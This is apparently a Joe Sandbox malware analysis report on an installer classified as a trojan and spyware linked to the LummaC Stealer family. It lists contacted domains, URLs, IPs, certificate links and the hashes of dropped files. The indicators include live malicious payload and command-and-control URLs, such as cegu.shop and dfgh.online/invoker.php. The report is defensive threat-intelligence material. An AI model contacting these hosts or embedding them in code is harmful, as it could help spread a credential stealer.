C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_setup64.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.faststone.org/order.htmU	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htm	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txt	0%	Avira URL Cloud	safe
https://dfgh.online	0%	Avira URL Cloud	safe
http://crl.usertr	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt	100%	Avira URL Cloud	malware
https://dfgh.online/invoker.php?compName=	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htmU	0%	Avira URL Cloud	safe
http://www.faststone.org/	0%	Avira URL Cloud	safe
http://www.faststone.org/U	0%	Avira URL Cloud	safe
https://www.faststone.org/order.htm	0%	Avira URL Cloud	safe
https://laborersquei.click/api	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compName=user-PC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
laborersquei.click	172.67.166.49	true	false	high
klipvumisui.shop	104.21.37.128	true	false	unknown
MKEsavqGIoOOFKIkcwQOiuYAysc.MKEsavqGIoOOFKIkcwQOiuYAysc	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipvumisui.shop/int_clp_sha.txt	false	Avira URL Cloud: safe	unknown
https://cegu.shop/8574262446/ph.txt	false	Avira URL Cloud: malware	unknown
https://laborersquei.click/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	MFL715GTQ6VLUD404.exe, 00000013.00000000.2556978906.0000000000F31000.00000020.00000001.01000000.0000000A.sdmp, MFL715GTQ6VLUD404.exe.11.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://www.vmware.com/0	vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://ocsp.sectigo.com0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	false		high
http://crl.usertr	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsps.ssl.com0	installer_1.05_36.4.exe	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000010.00000002.2283793403.0000000004C47000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	installer_1.05_36.4.exe	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	installer_1.05_36.4.exe	false		high
http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0	installer_1.05_36.4.exe	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://www.faststone.org/FSCTutorial.htmU	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000010.00000002.2283793403.00000000048A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	MFL715GTQ6VLUD404.exe, 00000013.00000003.2563482641.000000007EE4B000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe, 00000013.00000003.2560390532.0000000002B0F000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000000.2566282933.0000000001001000.00000020.00000001.01000000.0000000B.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000000.2587508233.000000000115D000.00000020.00000001.01000000.0000000D.sdmp	false		high
http://crt.sectigo.com/Sectig	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	MFL715GTQ6VLUD404.exe, 00000013.00000003.2563482641.000000007EE4B000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe, 00000013.00000003.2560390532.0000000002B0F000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000000.2566282933.0000000001001000.00000020.00000001.01000000.0000000B.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000000.2587508233.000000000115D000.00000020.00000001.01000000.0000000D.sdmp	false		high
https://www.ssl.com/repository0	installer_1.05_36.4.exe	false		high
https://sectigo.com/CPS0D	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dfgh.online	powershell.exe, 00000010.00000002.2283793403.0000000004ADD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://jrsoftware.org0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jrsoftware.org/	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000010.00000002.2282474515.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000010.00000002.2283793403.00000000048A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	false		high
http://repository.certum.pl/ctnca.cer09	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000010.00000002.2283793403.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.faststone.org/FSCTutorial.htm	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.faststone.org/order.htmU	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://www.vmware.com/0/	vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Lightweight.com, 0000000B.00000000.1725630476.0000000000705000.00000002.00000001.01000000.00000007.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	installer_1.05_36.4.exe	false		high
https://www.certum.pl/CPS0	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.faststone.org/	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certum.pl/cscasha2.crl0q	MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.faststone.org/U	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://www.symauth.com/rpa00	vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2283793403.0000000004ADD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	MFL715GTQ6VLUD404.exe.11.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	false		high
http://www.info-zip.org/	vsv_tool.exe, 00000031.00000002.3228982215.00000000458F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.faststone.org/order.htm	vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0	installer_1.05_36.4.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.37.128	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false
172.67.166.49	laborersquei.click	United States	13335	CLOUDFLARENETUS	false
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581553
Start date and time:	2024-12-28 04:22:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	installer_1.05_36.4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/34@5/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 47 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.201, 23.32.238.208, 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target powershell.exe, PID 8112 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:22:58	API Interceptor	1x Sleep call for process: installer_1.05_36.4.exe modified
22:23:37	API Interceptor	8x Sleep call for process: Lightweight.com modified
22:23:56	API Interceptor	11x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.37.128	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.37.128	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.166.49	Scanjet 23002022.xlsx	Get hash	malicious	Azorult gzRat	Browse	etapackbg.com/css/Sngggz.png
185.161.251.21	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	@Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	@Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21
laborersquei.click	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.89.250
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.166.49
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	172.67.166.49
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.89.250
klipvumisui.shop	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.132.7
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Script.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	48.252.190.9.zip	Get hash	malicious	Unknown	Browse	104.21.95.219
	https://haleborealis.com	Get hash	malicious	Unknown	Browse	104.22.72.81
	External2.4.exe	Get hash	malicious	LummaC	Browse	104.21.29.252
	Aura.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse	172.67.216.74
CLOUDFLARENETUS	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.132.7
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Script.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	48.252.190.9.zip	Get hash	malicious	Unknown	Browse	104.21.95.219
	https://haleborealis.com	Get hash	malicious	Unknown	Browse	104.22.72.81
	External2.4.exe	Get hash	malicious	LummaC	Browse	104.21.29.252
	Aura.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse	172.67.216.74
NTLGB	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	@Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	81.97.105.115
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	163.165.65.186
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	92.237.44.174
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	80.4.135.78
	armv4l.elf	Get hash	malicious	Mirai	Browse	62.254.229.173

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Script.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Neverlose.cc-unpadded.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	External2.4.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Aura.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Aura.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	New Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.166.49 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	SoftWare(1).exe	Get hash	malicious	LummaC	Browse
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulrlgll//Z:NllUml
MD5:	BCE202BE96167104C292ABBA72DDA325
SHA1:	2F7A5938BD57E9769440EDF0B6700DD001DF7AC6
SHA-256:	680BC38EEF1B5175C4E728CEA436662498DC7F8E5570CBA66D7F9627AC0A0AEE
SHA-512:	195CAC106561793B62A216DA442AA663BDEDCDFCA2920848583880B25489E03888AF732B6F07834DB3A4E892F24020CC8E2C37D54F1B61F20BEEFCCDB38F0189
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SoftWare(1).exe, Detection: malicious, Browse Filename: !Setup.exe, Detection: malicious, Browse Filename: ZTM2pfyhu3.exe, Detection: malicious, Browse Filename: JA7cOAGHym.exe, Detection: malicious, Browse Filename: appFile.exe, Detection: malicious, Browse Filename: FloydMounts.exe, Detection: malicious, Browse Filename: installer.bat, Detection: malicious, Browse Filename: skript.bat, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse Filename: yoda.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\709182\N

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	475334
Entropy (8bit):	7.999569623103536
Encrypted:	true
SSDEEP:	12288:ykEViwwMnbe9alrkEbkVklZjFUqR0EBIU/M0cLWdyBut4Offn9:ytEwwIeUlrC6xFrb/MJKd0v41
MD5:	03AE6DCECFF953F258AF1E46B7C64B56
SHA1:	637EEE92F36824766941A77993232AF61F98EF88
SHA-256:	90DD3408B758CA4B3A6CCC298153518660CA997179C5EC42163E87CE7A051699
SHA-512:	02945AD71C6B9E9599E19A1A6E7021392F9339A1D9C45F105862F8736D81BD5FBA1F6EB28CEFDD3D8812843E747F9C92CC926D307FAE9FF8323960BEBA4D6B50
Malicious:	false
